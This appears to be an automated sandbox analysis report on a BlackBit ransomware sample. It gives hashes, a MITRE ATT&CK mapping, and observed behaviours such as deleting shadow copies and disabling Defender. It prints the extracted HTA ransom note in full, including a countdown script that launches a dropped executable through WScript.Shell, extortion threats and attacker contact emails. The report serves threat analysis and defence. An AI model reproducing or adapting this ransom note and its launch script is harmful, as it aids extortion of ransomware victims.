General

  • Target

    2f22f39ec1b30fbe3d5e6184378ef686de2038d12d98229f5bb14cf10653ea21.zip

  • Size

    443KB

  • Sample

    230328-l11qpsca8s

  • MD5

    443ac382a715d8e5a799e53160dac441

  • SHA1

    7229e8c7fe82fc04be3260ce29fe8dbf7c2dc3a3

  • SHA256

    8af2354b99c64fd9d40ddb0a1ac8f5b77ed4859ee7a0f60a93acb80bf8068187

  • SHA512

    0533c288fde5e4e480aa0d6730d1fbe2b350108a4056fdf2a41ff6a8d5bfa962aefb87c34a8f685cb5bdd1591d8eef16647befe46ddcaf313c71177266912943

  • SSDEEP

    12288:V7xyjRLgCvddy9IHNL/PwQOai7/wzGEt25U1l+uCmkNX:J4juClg96RPBFPT+vNX

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
<html><head> <title>BLACKBIT</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head><style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}.header{text-align: center;}#t{color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; border-bottom: 0; font-size: 2vw;}</style><script>var countDownDate = new Date(2023,3,7,12,1,38).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false); } }, 1000);</script><body> <div class="header"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK8AAAAaCAMAAAD2S/yBAAAApVBMVEUAAAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD/AAD+AAD+AAD+AAD+AAD+AAD/AAD+AAD/AAD+AAD+AAD/AAD/AAD+AAD+AAD/AAD+AAD/AAD+AAD+AAD+AAD+AAD/AAD9AAD+AAD+AAD+AAD9AAD+AAD+AAD+AAD+AAD/AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD/AABnlV0xAAAANnRSTlMA/vyzvu05CflgGgfx4EUUXIg19SIxdCsN6T3PqeZmEVfZoh4YxpZRJcyxjIFurJzjuY97TkJTP9VxAAAENUlEQVRYw7WX2ZqiMBCFIYCgIi6MDbgAKtruy9jW+z/anLDTbYSZzzkXAkkl/iEnSSHF6vQMw/BaS/7rbD1c1rr0b+rGkv6zJtPp9PEhE7FQ3xHXJq2JFEUJnrbxUXN2v/WjXOdcvc0qK0LUOLuPzoqyH5UbWEqhmZ/15s4U5YHrSvkuKYuwrLYRYx4I8mQWJhW/8NR5yntFDfuqvNsjo0xmViMTWeltf4cWR6msNpXVG6eBGtEAV4e+K/+rG3Ht9JDxS2dNpvOadyITNCsXHWQqZH995+0qybyJeUlrNeNFSA9P89VW47jBr06Pdu5L3guRQeS5JYMAzfz45DrYuHWqvN0lkXyWfvCah2EihRFdgzJvlFSgIaVBRcvWcrm0pBN+N9FKa7dsurziDeZEv02iMC9x8aRl5uTTpFR5h7hT9Z+8vXx13hHhF7wFGgb6fP1vR6Px2HGlmT1qM9l/wfuQyVjBRLe8xGEkt/OnI9P2epn3hJupK73i1Rd4j3/D62gELQIpWCyC36Q5Yl7YYS2FMtl55ZgRGxVvexJU/Dsw0DFixbzQFHP2F7x8K0t955h7d00LV8Srm3zq+jZ+n/NCZd4JIj1Hei/vhSCWzOlZvmPNDUS8nxgXttg9LNmEd6zF3n4vb5sRtEx4GNmT1lnoBwV2SLDtqJ4XIyfDkup4RzbRvTGvYxI0dfN7byVcbx3Un7hLPVxredtTDGsgCXjno3Gi0EPYtimvuyBIi+P1aeyMkZA3JDL6sW0wwlpeA32dJBEvsVRyHNaUt7MuzLshituKeAvffskkO3W8xKNFvBUt3Ka87YE+I9qUjDwTn8eBkfUXwBjHBrzMF/IyM5XB/7Qh78hgQ3eYZJEdLXZGX8zrozpdZksYolvDe1rE6YRovemlGZYfjXj7CxQpbjIb3T1B7FPMuyvONQv23NbtD1sPwPX7Q4SwYSPeM0GGVeQ+8fYg4t3ybKaX6Ir6Ye3+2zL5cfG2/ReZOooOhTvsJLkU8J6oql79+WbZAN6+iXcS462LdtKQuO4C3jUfXS48TH7y6o5b8HIwnj9Eb+GNrsSlziBfOuD3PKcX58UvRnRqZXpo6bbiMO75Ije8nov8LJ3DXfCSt9soP9NvlEvrtGVKZT8E/r1jKEEl6+jp6dZ2zab8C2O6VfPfQ23+6zfKf7fH43FNsVj4S6NMx3x/OH7kmuAt9Ij2ZTehXSt7g157wvXx7PtixvfX7g9e7Z72vcQY50EdrxOGYSuxBDD2lEmVUt6KhliMLO6sEMxziYEuNd9vt9rvN8xpDe9qzsOslsndsPKLNR+JeIeId6WSNmjZjYE2jDJ5n0++j6c138dzRNbwKgaX5wwMww5XnpHKnmSHjlqRD7+q6rB6NqJ8lJ4eqmZyzS+55/NKKFJU9Zb2nDUopNz7We61V1WrCHJQmfroD4WF/RlB+MnGAAAAAElFTkSuQmCC"> <h1 id="t">All your files have been encrypted by BLACKBIT!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">Filesupport@airmail.cc</span> </p><br></div><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">unlockerhelp@onionmail.org</span> <br>Your unique ID is : <span class="m">143487C4</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body></html>
Emails

class="m">Filesupport@airmail.cc</span>

class="m">unlockerhelp@onionmail.org</span>

URLs

http-equiv="x-ua-compatible"

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
All your files have been encrypted by BLACKBIT! All your files have been encrypted due to a security problem with your PC. If you want to restore them, please send an email Filesupport@airmail.cc You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. After payment we will send you the decryption tool. You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay Double . In case of no answer in 24 hours (1 Day) write to this email unlockerhelp@onionmail.org Your unique ID is : 143487C4 You only have LIMITED time to get back your files! If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED. You will lose some of your data on day 2 in the timer. You can buy more time for pay. Just email us. THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) What is our decryption guarantee? Before paying you can send us up to for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) Attention! DO NOT pay any money before decrypting the test files. DO NOT trust any intermediary. they wont help you and you may be victim of scam. just email us , we help you in any steps. DO NOT reply to other emails. ONLY this two emails can help you. Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.
Emails

Filesupport@airmail.cc

unlockerhelp@onionmail.org

Targets

    • Target

      2f22f39ec1b30fbe3d5e6184378ef686de2038d12d98229f5bb14cf10653ea21

    • Size

      500KB

    • MD5

      3a7c3e8a378cd7a4fd83910937c23b19

    • SHA1

      395ce78f0eade3fc026122d18049edc7231827b7

    • SHA256

      2f22f39ec1b30fbe3d5e6184378ef686de2038d12d98229f5bb14cf10653ea21

    • SHA512

      3115fac1a8590f7c9cfc50793d43cbfb9688d8bc12cb56725a7040c0471c68e4b2b3bf177c1e2233e28c3259f7086ad861b3e2ea1fb050dac83a360b24efc00a

    • SSDEEP

      12288:5h1Lk70Tnvjc+VqXbLyMTBkAuvtmfHq6/c/1hN6+0:lk70Trc+8LLNBc8q+c/96+0

    • Modifies Windows Defender Real-time Protection settings

    • Deletes shadow copies

      Ransomware often targets backup files to inhibit system recovery.

    • Disables Task Manager via registry modification

    • Modifies Windows Firewall

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Drops desktop.ini file(s)

    • Sets desktop wallpaper using registry

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Modify Existing Service

2
T1031

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Modify Registry

3
T1112

Disabling Security Tools

1
T1089

File Deletion

2
T1107

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Impact

Inhibit System Recovery

2
T1490

Defacement

1
T1491

Tasks